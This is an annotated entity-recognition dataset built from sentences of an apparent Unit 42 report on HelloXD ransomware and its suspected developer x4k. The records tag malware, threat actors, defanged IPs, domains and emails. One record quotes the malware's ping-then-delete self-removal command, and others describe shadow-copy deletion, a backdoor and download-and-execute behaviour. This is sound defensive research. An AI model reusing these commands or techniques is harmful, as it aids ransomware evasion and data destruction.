-{"id":1982,"text":" Figure 5: WinDBG view of call stack when lsass.exe process crashes due to exploitation  Vulnerable code is found in the CSsl3TlsClientContext::DigestServerHelloVerifyRequest function:  Palo Alto Networks is releasing signature 37094 and 37059 to defend against these vulnerabilities.","entities":[{"id":47094,"label":"SOFTWARE","start_offset":11,"end_offset":17},{"id":47095,"label":"identity","start_offset":186,"end_offset":204}],"relations":[],"Comments":[]}
-{"id":1983,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1984,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":1985,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":1986,"text":"This post is also available in:      日本語 (Japanese)  HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021.","entities":[{"id":45202,"label":"malware","start_offset":53,"end_offset":60},{"id":45203,"label":"TIME","start_offset":137,"end_offset":150},{"id":45205,"label":"attack-pattern","start_offset":95,"end_offset":111}],"relations":[{"id":81,"from_id":45202,"to_id":45205,"type":"uses"}],"Comments":[]}
-{"id":1987,"text":"During our research we observed multiple variants impacting Windows and Linux systems.","entities":[{"id":47096,"label":"SOFTWARE","start_offset":60,"end_offset":67},{"id":47097,"label":"SOFTWARE","start_offset":72,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":1988,"text":"Unlike other ransomware groups, this ransomware family doesn’t have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.","entities":[{"id":47098,"label":"SOFTWARE","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]}
-{"id":1989,"text":" Unit 42 performed an in-depth analysis of the ransomware samples, the obfuscation and execution from this ransomware family, which contains very similar core functionality to the leaked Babuk\/Babyk source code.","entities":[{"id":45206,"label":"identity","start_offset":1,"end_offset":8},{"id":5874,"label":"threat-actor","start_offset":187,"end_offset":192},{"id":47099,"label":"threat-actor","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":1990,"text":"It was also observed that one of the samples deployed MicroBackdoor, an open-source backdoor allowing an attacker to browse the file system, upload and download files, execute commands, and remove itself from the system.","entities":[{"id":5878,"label":"malware","start_offset":54,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":1991,"text":"We believe this was likely done to monitor the progress of the ransomware and maintain an additional foothold in compromised systems.","entities":[],"relations":[],"Comments":[]}
-{"id":1992,"text":" During the analysis of the MicroBackdoor sample, Unit 42 observed the configuration and found an embedded IP address, belonging to a threat actor we believe is potentially the developer: x4k, also known as L4ckyguy, unKn0wn, unk0w, _unkn0wn and x4kme.","entities":[{"id":45216,"label":"threat-actor","start_offset":246,"end_offset":251},{"id":45209,"label":"malware","start_offset":28,"end_offset":41},{"id":45212,"label":"threat-actor","start_offset":207,"end_offset":215},{"id":45210,"label":"identity","start_offset":50,"end_offset":57},{"id":45213,"label":"threat-actor","start_offset":217,"end_offset":224},{"id":45211,"label":"threat-actor","start_offset":188,"end_offset":191},{"id":45214,"label":"threat-actor","start_offset":226,"end_offset":231},{"id":45215,"label":"threat-actor","start_offset":233,"end_offset":241}],"relations":[{"id":87,"from_id":45216,"to_id":45211,"type":"duplicate-of"},{"id":83,"from_id":45212,"to_id":45211,"type":"duplicate-of"},{"id":84,"from_id":45213,"to_id":45211,"type":"duplicate-of"},{"id":85,"from_id":45214,"to_id":45211,"type":"duplicate-of"},{"id":86,"from_id":45215,"to_id":45211,"type":"duplicate-of"},{"id":88,"from_id":45209,"to_id":45211,"type":"authored-by"}],"Comments":[]}
-{"id":1993,"text":" Unit 42 has observed x4k in various hacking and non-hacking forums, which has linked the threat actor to additional malicious activity such as:  Palo Alto Networks detects and prevents HelloXD and adjacent x4k activity with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).","entities":[{"id":5898,"label":"SOFTWARE","start_offset":262,"end_offset":272},{"id":5891,"label":"identity","start_offset":1,"end_offset":8},{"id":5895,"label":"malware","start_offset":186,"end_offset":193},{"id":5902,"label":"malware","start_offset":361,"end_offset":369},{"id":47100,"label":"threat-actor","start_offset":22,"end_offset":25},{"id":47101,"label":"identity","start_offset":146,"end_offset":164},{"id":47102,"label":"threat-actor","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":1994,"text":"Due to the surge of this malicious activity, we’ve created this threat assessment for overall awareness.","entities":[],"relations":[],"Comments":[]}
-{"id":1995,"text":"HelloXD Malware Overview Packer Analyses Ransomware Internals WTFBBQ Pivots Hunting for Ransomware Attribution Conclusion Indicators of Compromise","entities":[{"id":45217,"label":"malware","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":1996,"text":"Additional Resources","entities":[],"relations":[],"Comments":[]}
-{"id":1997,"text":" HelloXD is a ransomware family first observed in the wild on Nov. 30, 2021.","entities":[{"id":47103,"label":"malware","start_offset":1,"end_offset":8},{"id":47104,"label":"TIME","start_offset":62,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":1998,"text":"This ransomware family uses a modified ClamAV logo in their executables.","entities":[{"id":45218,"label":"SOFTWARE","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":1999,"text":"ClamAV is an open-source antivirus engine used to detect malware.","entities":[{"id":47105,"label":"SOFTWARE","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":2000,"text":"We also have observed additional samples with different versions of the logo, which led us to believe the ransomware developer may like using the ClamAV branding for their ransomware.","entities":[{"id":47106,"label":"SOFTWARE","start_offset":146,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":2001,"text":"Additionally, some of the observed samples include properties information that can be observed in Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":2002,"text":" The file description included the entry VlahmAV, a play on words on ClamAV, and the developer named the ransomware HelloXD and used another potential alias, uKnow, as the developer of HelloXD in the copyright section.","entities":[{"id":47109,"label":"SOFTWARE","start_offset":69,"end_offset":75},{"id":47111,"label":"malware","start_offset":116,"end_offset":123},{"id":47112,"label":"malware","start_offset":158,"end_offset":163},{"id":47110,"label":"malware","start_offset":185,"end_offset":192}],"relations":[{"id":302,"from_id":47110,"to_id":47112,"type":"duplicate-of"},{"id":301,"from_id":47111,"to_id":47112,"type":"duplicate-of"}],"Comments":[]}
-{"id":2003,"text":" When executed, HelloXD tries to disable shadow copies to inhibit system recovery before encrypting files using the following commands embedded in the sample:  Additionally the ransomware does a ping to 1.1.1[.]1 and asks to wait a timeout of 3000 milliseconds between each reply, quickly followed with a delete command to delete the initial payload.","entities":[{"id":5922,"label":"malware","start_offset":16,"end_offset":23},{"id":5925,"label":"malware","start_offset":195,"end_offset":199},{"id":5926,"label":"IPV4","start_offset":203,"end_offset":212}],"relations":[],"Comments":[]}
-{"id":2004,"text":" cmd.exe \/C ping 1.1.1[.]1 -n 1 -w 3000 > Nul & Del \/f \/q \"C:\\Users\\admin\\Desktop\\xd.exe\"","entities":[{"id":45219,"label":"FILEPATH","start_offset":59,"end_offset":88},{"id":45220,"label":"FILEPATH","start_offset":1,"end_offset":8},{"id":5931,"label":"tools","start_offset":12,"end_offset":16},{"id":5932,"label":"IPV4","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":2005,"text":" Two of the initial set of samples identified create a unique mutex containing the following message:","entities":[],"relations":[],"Comments":[]}
-{"id":2006,"text":" After those commands are executed, the ransomware finishes by appending the file extension .hello, alongside a ransom note titled Hello.txt (Figure 2).","entities":[{"id":47113,"label":"FILEPATH","start_offset":131,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":2007,"text":" The ransom note was modified between the observed samples.","entities":[],"relations":[],"Comments":[]}
-{"id":2008,"text":"In the first sample we encountered (Figure 3, left), the ransom note only linked to a TOX ID, whereas a later observed sample (Figure 3, right) links to an onion domain as well as a TOX ID (different from the one in the first version).","entities":[],"relations":[],"Comments":[]}
-{"id":2009,"text":"At the time of writing, this site is down.","entities":[],"relations":[],"Comments":[]}
-{"id":2010,"text":" The ransomware creates an ID for the victim which has to be sent to the threat actor to make it possible to identify the victim and provide a decryptor.","entities":[],"relations":[],"Comments":[]}
-{"id":2011,"text":"The ransom note also instructs victims to download Tox and provides a Tox Chat ID to reach the threat actor.","entities":[],"relations":[],"Comments":[]}
-{"id":2012,"text":"Tox is a peer-to-peer instant messaging protocol that offers end-to-end encryption and has been observed being used by other ransomware groups for negotiations.","entities":[],"relations":[],"Comments":[]}
-{"id":2013,"text":"For example, LockBit 2.0 leverages Tox Chat for threat actor communications.","entities":[{"id":45221,"label":"malware","start_offset":13,"end_offset":24},{"id":45222,"label":"tools","start_offset":35,"end_offset":43}],"relations":[{"id":89,"from_id":45221,"to_id":45222,"type":"uses"}],"Comments":[]}
-{"id":2014,"text":" When observing both variants executing on virtual environments, we noted that the more recent variants changed the background to a ghost – a theme we’ve noticed in this threat actor’s work since our earliest observations of it.","entities":[{"id":5960,"label":"malware","start_offset":132,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":2015,"text":"However, the previous version didn’t change the background at all – it simply left the ransom note we observed previously (Figure 4).  During analysis and threat intel gathering, we discovered two main packers used for HelloXD ransomware binaries, as well as for other malware samples linked to the potential author (Figure 5).","entities":[{"id":47114,"label":"malware","start_offset":219,"end_offset":226}],"relations":[],"Comments":[]}
-{"id":2016,"text":"The first type of packer is a modified version of UPX.","entities":[{"id":45223,"label":"tools","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":2017,"text":"The code is extremely similar between UPX-packed binaries and the custom packer, however the custom packer avoids using identifiable section names such as .UPX0 and .UPX1, and leaves the default .text, .data, and .rsrc names unchanged.","entities":[{"id":47115,"label":"tools","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":2018,"text":"There are also no magic bytes within the packed payload, unlike UPX-packed binaries, which contain the magic bytes UPX!.","entities":[{"id":47116,"label":"tools","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":2019,"text":" However, a dead giveaway that the sample is packed is the raw size of the .text section, which is zeroed out, while the virtual size is much larger, as expected; this is identical to a .UPX0 section.","entities":[],"relations":[],"Comments":[]}
-{"id":2020,"text":"As there is no data within the .text section on disk, the entry point of the unpacking stub is within the .data section, which will unpack the malicious code into the .text section on runtime.","entities":[],"relations":[],"Comments":[]}
-{"id":2021,"text":" All of these details point toward the threat actor having modified or copied certain elements from the UPX packer, which can be further confirmed by comparing a UPX-packed binary with a custom-packed HelloXD binary.","entities":[{"id":47117,"label":"malware","start_offset":201,"end_offset":208},{"id":47118,"label":"tools","start_offset":104,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":2022,"text":" The second packer we discovered consists of two layers, with the second being the custom UPX packer discussed above.","entities":[{"id":47119,"label":"tools","start_offset":90,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":2023,"text":"This particular packer seems to be more common on x64 binaries and involves decrypting embedded blobs using a seemingly custom algorithm containing unconventional instructions such as XLAT (Figure 6).  Aside from storing the encrypted second layer, there is little to no obfuscation within the packer; API calls such as VirtualAlloc and VirtualProtect are clearly visible, and there is no control flow obfuscation.","entities":[],"relations":[],"Comments":[]}
-{"id":2024,"text":" We have observed two different samples of the HelloXD ransomware publicly available, indicating it is still under development by the author(s).","entities":[{"id":6000,"label":"malware","start_offset":47,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":2025,"text":"The first sample is fairly rudimentary, with minimal obfuscation and typically paired with an obfuscated loader responsible for decrypting it through the use of the WinCrypt API before injecting it into memory.","entities":[{"id":45225,"label":"SOFTWARE","start_offset":165,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":2026,"text":"The second sample, on the other hand, is far more obfuscated, and is executed in memory by a packer rather than a full-scale loader.","entities":[],"relations":[],"Comments":[]}
-{"id":2027,"text":"While the obfuscation and execution may differ between the two, both samples contain very similar core functionality, due to the author copying the leaked Babuk\/Babyk source code in order to develop the HelloXD ransomware (Figure 7).","entities":[{"id":47122,"label":"malware","start_offset":203,"end_offset":210},{"id":47121,"label":"malware","start_offset":161,"end_offset":166},{"id":47120,"label":"malware","start_offset":155,"end_offset":160}],"relations":[{"id":303,"from_id":47121,"to_id":47122,"type":"variant-of"},{"id":304,"from_id":47120,"to_id":47122,"type":"variant-of"}],"Comments":[]}
-{"id":2028,"text":"As a result, a lot of the function structure overlaps with Babuk, after getting past the obfuscation.","entities":[{"id":47123,"label":"malware","start_offset":59,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":2029,"text":" Table 1. Ransomware sample comparison summary.","entities":[],"relations":[],"Comments":[]}
-{"id":2030,"text":" While there is a lot of overlap between HelloXD and Babuk, there are some small but crucial differences to take note of between Babuk and the two different variants.  HelloXD version 1 is the least modified, utilizing Curve25519-Donna and a modified HC-128 algorithm to encrypt file data, while also containing the same CRC hashing routine incorporating the string dong, possibly referencing Chuong Dong, who had previously analyzed and reported on the first version of Babuk (Figure 8).","entities":[{"id":47125,"label":"malware","start_offset":53,"end_offset":58},{"id":47127,"label":"malware","start_offset":168,"end_offset":175},{"id":47128,"label":"malware","start_offset":471,"end_offset":476},{"id":47129,"label":"identity","start_offset":393,"end_offset":404},{"id":47124,"label":"malware","start_offset":41,"end_offset":48},{"id":47126,"label":"malware","start_offset":129,"end_offset":134}],"relations":[{"id":305,"from_id":47124,"to_id":47125,"type":"variant-of"}],"Comments":[]}
-{"id":2031,"text":" The HelloXD author(s) did modify the infamous file marker and mutex however, opting for dxunmgqehhehyrhtxywuhwrvzxqrcblo as the file marker and With best wishes And good intentions… as the mutex (Figure 9).","entities":[{"id":47130,"label":"malware","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2032,"text":" With HelloXD version 2, the author(s) opted to alter the encryption routine, swapping out the modified HC-128 algorithm with the Rabbit symmetric cipher.","entities":[{"id":6049,"label":"malware","start_offset":6,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":2033,"text":"Additionally, the file marker changed again, this time to what seems to be random bytes rather than a coherent string.","entities":[],"relations":[],"Comments":[]}
-{"id":2034,"text":"The mutex is also modified, set to nqldslhumipyuzjnatqucmuycqkxjon in one of the samples (Figure 10).","entities":[],"relations":[],"Comments":[]}
-{"id":2035,"text":" Both versions have been compiled with the same compiler (believed to be GCC 3.x and above based on the mangling of export names), resulting in very similar exports between not only the ransomware variants, but also other malware that we have linked to the potential author (Figure 11).  The biggest difference between the versions is the interesting addition of a secondary payload embedded within version 2.","entities":[{"id":47131,"label":"SOFTWARE","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":2036,"text":"This payload is encrypted using the WinCrypt API, in the same fashion as the obfuscated loader discussed above.","entities":[],"relations":[],"Comments":[]}
-{"id":2037,"text":"Once decrypted, the payload is dropped to System32 with the name userlogin.exe before a service is created that points to it.","entities":[{"id":45228,"label":"FILEPATH","start_offset":65,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":2038,"text":"userlogin.exe is then executed (Figure 12).  ","entities":[],"relations":[],"Comments":[]}
-{"id":2039,"text":"What is peculiar about this file is it is a variant of the open-source MicroBackdoor, a backdoor allowing an attacker to browse the file system, upload and download files, execute commands and remove itself from the system (Figure 13).","entities":[{"id":47132,"label":"malware","start_offset":71,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":2040,"text":"As the threat actor would normally have a foothold into the network prior to ransomware deployment, it raises the question of why this backdoor is part of the ransomware execution.","entities":[],"relations":[],"Comments":[]}
-{"id":2041,"text":"One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.","entities":[],"relations":[],"Comments":[]}
-{"id":2042,"text":"While analyzing the ransomware binaries, we discovered a unique string prevalent in almost all of the samples: :wtfbbq (stored as UTF-16LE).","entities":[],"relations":[],"Comments":[]}
-{"id":2043,"text":"Querying VirusTotal with this string led to the discovery of eight files, six of which could be directly attributed to x4k through their own VirusTotal graph mapping out their infrastructure.","entities":[{"id":45229,"label":"SOFTWARE","start_offset":9,"end_offset":19},{"id":45230,"label":"threat-actor","start_offset":119,"end_offset":122},{"id":45231,"label":"SOFTWARE","start_offset":141,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":2044,"text":"The discovered samples are primarily Cobalt Strike Beacons, utilizing heavy control flow obfuscation – unlike the HelloXD ransomware samples we had previously seen.","entities":[{"id":47133,"label":"tools","start_offset":37,"end_offset":58},{"id":47134,"label":"malware","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":2045,"text":" Unfortunately, this specific string is not completely unique to x4k, and is instead found on several GitHub repositories as part of a technique to allow a running executable to delete itself from disk through renaming primary data streams within the file to :wtfbbq.","entities":[{"id":47135,"label":"threat-actor","start_offset":65,"end_offset":68},{"id":47136,"label":"SOFTWARE","start_offset":102,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":2046,"text":"Running a search for the non-UTF-16LE string results in multiple files, and filtering for executables yields 10 results, the majority of which are NIM-based binaries – potentially linked to this GitHub repository.","entities":[{"id":45232,"label":"SOFTWARE","start_offset":195,"end_offset":212}],"relations":[],"Comments":[]}
-{"id":2047,"text":" While the :wtfbbq string is not unique to x4k, by searching for the UTF-16LE version found inside the analyzed HelloXD ransomware samples, we only came across binaries linked to x4k’s infrastructure, providing a fairly strong link between HelloXD and x4k.","entities":[{"id":6089,"label":"malware","start_offset":112,"end_offset":119},{"id":6093,"label":"malware","start_offset":240,"end_offset":247},{"id":47137,"label":"threat-actor","start_offset":43,"end_offset":46},{"id":47139,"label":"threat-actor","start_offset":252,"end_offset":255},{"id":47138,"label":"threat-actor","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":2048,"text":" The backdoor provided extremely useful insight into the potential threat actor behind the ransomware, as it had the following hardcoded IP address to use as the command and control (C2): 193[.]242[.]145[.]158.","entities":[{"id":6096,"label":"IPV4","start_offset":188,"end_offset":209}],"relations":[],"Comments":[]}
-{"id":2049,"text":"Upon navigating to this IP address, we observed an email address – tebya@poime[.]li – on the page title, the first link in the chain of attribution (Figure 14).  Using the email address as a pivot, we identified additional domains that were linked to tebya@poime[.]li.","entities":[{"id":45233,"label":"EMAIL","start_offset":67,"end_offset":83},{"id":45234,"label":"EMAIL","start_offset":251,"end_offset":267}],"relations":[],"Comments":[]}
-{"id":2050,"text":"Table 2.","entities":[],"relations":[],"Comments":[]}
-{"id":2051,"text":"Domains linked to tebya@poime.li  Some of them historically resolved to some malicious IPs, which led us to discover additional infrastructure and malware being hosted in other domains (Table 3).","entities":[{"id":47140,"label":"EMAIL","start_offset":18,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":2052,"text":"Many of these also use the x4k name in the domain.","entities":[{"id":45235,"label":"threat-actor","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":2053,"text":" Table 3. PDNS of 164[.]68[.]114[.]29 and 167[.]86[.]87[.]27  When looking at this infrastructure on VirusTotal, we observed that some of the domains we found were part of a VirusTotal graph called a.y.e\/ created by the user x4k on June 30, 2021.","entities":[{"id":6107,"label":"IPV4","start_offset":18,"end_offset":37},{"id":6109,"label":"IPV4","start_offset":42,"end_offset":60},{"id":47141,"label":"SOFTWARE","start_offset":101,"end_offset":111},{"id":47142,"label":"TIME","start_offset":232,"end_offset":245},{"id":47143,"label":"threat-actor","start_offset":225,"end_offset":228},{"id":47144,"label":"SOFTWARE","start_offset":174,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":2054,"text":"On this graph, we found his infrastructure mapped out and malicious files that were also linked to the domains.","entities":[],"relations":[],"Comments":[]}
-{"id":2055,"text":"This, however, was not the only graph we observed x4k creating.","entities":[{"id":45236,"label":"threat-actor","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":2056,"text":"We also encountered additional graphs, mapping different things such as “Russian Hosts,” “DDoS Guard” and others, dating back to August 10, 2020 (Figure 15).","entities":[{"id":47146,"label":"TIME","start_offset":129,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":2057,"text":" Additionally, we observed the initial email being linked to a GitHub account (Figure 16), as well as various forums including XSS, a known Russian-speaking hacking forum created to share knowledge about exploits, vulnerabilities, malware and network penetration.","entities":[{"id":47147,"label":"attack-pattern","start_offset":127,"end_offset":130},{"id":47148,"label":"SOFTWARE","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":2058,"text":"From the GitHub page, we also observed a URL to a site – xn--90a5ai[.]com(фсб[.]com) – resolving to the previously mentioned IP 164[.]68[.]114[.]29, which at this point in time only shows an animation of interconnecting points.","entities":[{"id":45239,"label":"DOMAIN","start_offset":74,"end_offset":83},{"id":45240,"label":"IPV4","start_offset":128,"end_offset":147},{"id":45237,"label":"SOFTWARE","start_offset":9,"end_offset":15},{"id":45238,"label":"DOMAIN","start_offset":57,"end_offset":73}],"relations":[{"id":306,"from_id":45238,"to_id":45240,"type":"related-to"},{"id":307,"from_id":45239,"to_id":45240,"type":"related-to"}],"Comments":[]}
-{"id":2059,"text":"That being said, when looking at the HTML source code of the site, we discovered a couple of references to the user observed before – x4kme – and other aliases such as uKn0wn, which was observed in the HelloXD ransomware samples.","entities":[{"id":47152,"label":"identity","start_offset":168,"end_offset":174},{"id":47150,"label":"identity","start_offset":134,"end_offset":139},{"id":47151,"label":"malware","start_offset":202,"end_offset":209}],"relations":[{"id":308,"from_id":47150,"to_id":47152,"type":"duplicate-of"}],"Comments":[]}
-{"id":2060,"text":"Figure 17. Snippet of Script in HTML Source Code xn--90a5ai[.]comFrom the list of aliases used by the threat actor","entities":[{"id":47153,"label":"DOMAIN","start_offset":49,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":2061,"text":", we were able to observe another GitHub account with the name l4ckyguy, sharing the profile picture, location and URL in the description, with a link to the previously observed account (x4kme), and a name, Ivan Topor, which we believe may be another alias for this threat actor.","entities":[{"id":45241,"label":"SOFTWARE","start_offset":34,"end_offset":40},{"id":45242,"label":"identity","start_offset":63,"end_offset":71},{"id":45243,"label":"threat-actor","start_offset":187,"end_offset":192},{"id":45244,"label":"identity","start_offset":207,"end_offset":218},{"id":6137,"label":"location","start_offset":111,"end_offset":114},{"id":6138,"label":"location","start_offset":195,"end_offset":198},{"id":6140,"label":"location","start_offset":236,"end_offset":239}],"relations":[{"id":93,"from_id":45243,"to_id":45244,"type":"related-to"},{"id":92,"from_id":45243,"to_id":45242,"type":"related-to"}],"Comments":[]}
-{"id":2062,"text":"A further account, l4cky-control, was also discovered.","entities":[{"id":47154,"label":"identity","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":2063,"text":"This repository contained a Python script that would decrypt a secondary Python script which reached out to the IP 167[.]86[.]87[.]27 to download and execute another Python script.","entities":[{"id":6141,"label":"IPV4","start_offset":115,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":2064,"text":"This particular IP was linked to a Contabo server that x4k had also included within their VirusTotal graph discussed above.","entities":[{"id":45245,"label":"threat-actor","start_offset":55,"end_offset":58},{"id":45247,"label":"identity","start_offset":35,"end_offset":42},{"id":45246,"label":"SOFTWARE","start_offset":90,"end_offset":101}],"relations":[{"id":94,"from_id":45245,"to_id":45247,"type":"uses"}],"Comments":[]}
-{"id":2065,"text":" We also found a YouTube account linked to the actor through the initial email tebya@poime[.]li, using another alias, Vanya Topor.","entities":[{"id":47156,"label":"identity","start_offset":118,"end_offset":129},{"id":47155,"label":"EMAIL","start_offset":79,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":2066,"text":"It’s worth pointing out that “Vanya” is a diminutive for Ivan.","entities":[{"id":47157,"label":"identity","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":2067,"text":" The YouTube account has no public videos, but we observed this threat actor sharing unlisted links in various hacking forums.","entities":[{"id":45248,"label":"SOFTWARE","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2068,"text":"The content of the videos were tutorials and walkthroughs, where the threat actor showed his methodology of performing certain actions, depending on the video.","entities":[],"relations":[],"Comments":[]}
-{"id":2069,"text":"The videos had no sound, but the threat actor would type commentary on a terminal to address something the viewer was observing on screen.","entities":[],"relations":[],"Comments":[]}
-{"id":2070,"text":" The videos found gave us insight into x4k operations before moving into ransomware activity specifically.","entities":[{"id":45249,"label":"threat-actor","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":2071,"text":"We learned how this threat actor leverages Cobalt Strike for his operations, including how to set up Beacons as well as how to send files to compromised systems.","entities":[{"id":47158,"label":"tools","start_offset":43,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":2072,"text":"In one of the videos, we actually observed the threat actor performing a DNS leak test on his Android phone.","entities":[],"relations":[],"Comments":[]}
-{"id":2073,"text":"We also got to observe how the domain фсб[.]com used to look in October 2020 – a blog of sorts titled “Ghost in the Wire.”","entities":[{"id":45250,"label":"DOMAIN","start_offset":38,"end_offset":47},{"id":45251,"label":"TIME","start_offset":64,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":2074,"text":"Where the threat actor keeps alluding to his “Ghost” theme, a similar theme was observed in the HelloXD ransomware samples (Figure 19).  ","entities":[{"id":6160,"label":"malware","start_offset":46,"end_offset":51},{"id":6161,"label":"malware","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":2075,"text":"In another video instance, we observed the threat actor submit a LockBit 2.0 sample on Cuckoo sandbox and compare the results with another presumably LockBit 2.0 sample prior to the one submitted in the video.","entities":[{"id":47159,"label":"malware","start_offset":65,"end_offset":76},{"id":47161,"label":"tools","start_offset":87,"end_offset":101},{"id":47160,"label":"malware","start_offset":150,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":2076,"text":"At the time of writing, we don’t believe x4k is related to LockBit 2.0 activity, but we did find the choice of this particular ransomware family interesting (Figure 20).","entities":[{"id":45253,"label":"malware","start_offset":59,"end_offset":70},{"id":45252,"label":"threat-actor","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":2077,"text":"We also noticed this threat actor leveraging the use of other sandboxes besides Cuckoo – such as ANY.RUN and Hybrid Analysis – to test out verdicts and tooling, alongside the use of various virtual machines.","entities":[{"id":47164,"label":"tools","start_offset":80,"end_offset":86},{"id":47162,"label":"SOFTWARE","start_offset":97,"end_offset":104},{"id":47163,"label":"SOFTWARE","start_offset":109,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":2078,"text":" Additionally, this threat actor not only leverages open-source tooling, but also develops his own tools and scripts.","entities":[],"relations":[],"Comments":[]}
-{"id":2079,"text":"We were able to see this threat actor demonstrating some of his tools performing automated actions in his videos, such as obfuscating files, creating executables and code signing (Figure 21).","entities":[],"relations":[],"Comments":[]}
-{"id":2080,"text":" Taking a closer look at x4k’s main OS, we believe it to be a customized Kali Linux instance, tailored to his needs.","entities":[{"id":47207,"label":"threat-actor","start_offset":25,"end_offset":29},{"id":47208,"label":"SOFTWARE","start_offset":73,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":2081,"text":"Most of his videos, comments, configurations and tutorials are written in Russian – and when combined with knowledge gained from a few OPSEC mistakes – Russia is also where we believe x4k originates from.","entities":[{"id":47209,"label":"threat-actor","start_offset":184,"end_offset":187},{"id":47210,"label":"location","start_offset":152,"end_offset":158}],"relations":[{"id":310,"from_id":47209,"to_id":47210,"type":"located-at"}],"Comments":[]}
-{"id":2082,"text":"Additionally, we encountered the ClamAV logo during one of the threat actor walkthrough videos – the same logo used on the HelloXD ransomware samples (Figure 22).","entities":[{"id":45255,"label":"malware","start_offset":123,"end_offset":130},{"id":45254,"label":"SOFTWARE","start_offset":33,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":2083,"text":"This time around, x4k is using the logo as the start menu for his OS enviorment.","entities":[{"id":47211,"label":"threat-actor","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2084,"text":"On the same taskbar, we also noticed the Telegram icon, which is a very popular messaging app for chatting – but is also used by threat actors such as LAPSUS$ to post news into specific channels.","entities":[{"id":6199,"label":"threat-actor","start_offset":151,"end_offset":158},{"id":47212,"label":"SOFTWARE","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":2085,"text":"Using his username and alias and pivot, we were able to identify two Telegram accounts sharing the same picture as observed before, and descriptions pointing to the threat actor’s main site фсб[.]com.","entities":[{"id":47213,"label":"DOMAIN","start_offset":190,"end_offset":199},{"id":47214,"label":"SOFTWARE","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":2086,"text":"We noticed that the x4k Telegram account is used actively versus the old account – which, according to Telegram, hasn’t been active in a while (Figure 23).","entities":[{"id":47215,"label":"threat-actor","start_offset":20,"end_offset":23},{"id":47216,"label":"SOFTWARE","start_offset":24,"end_offset":32},{"id":47217,"label":"SOFTWARE","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":2087,"text":" x4k has a very solid online presence, which has enabled us to uncover much of his activity in these last two years.","entities":[{"id":47219,"label":"TIME","start_offset":101,"end_offset":115},{"id":47218,"label":"threat-actor","start_offset":1,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":2088,"text":"This threat actor has done little to hide malicious activity, and is probably going to continue this behavior.","entities":[],"relations":[],"Comments":[]}
-{"id":2089,"text":"Unit 42 research encountered HelloXD, a ransomware family in its initial stages – but already intending to impact organizations.","entities":[{"id":6214,"label":"identity","start_offset":0,"end_offset":7},{"id":6215,"label":"malware","start_offset":29,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":2090,"text":"While the ransomware functionality is nothing new, during our research, following the lines, we found out the ransomware is most likely developed by a threat actor named x4k.","entities":[{"id":47220,"label":"threat-actor","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
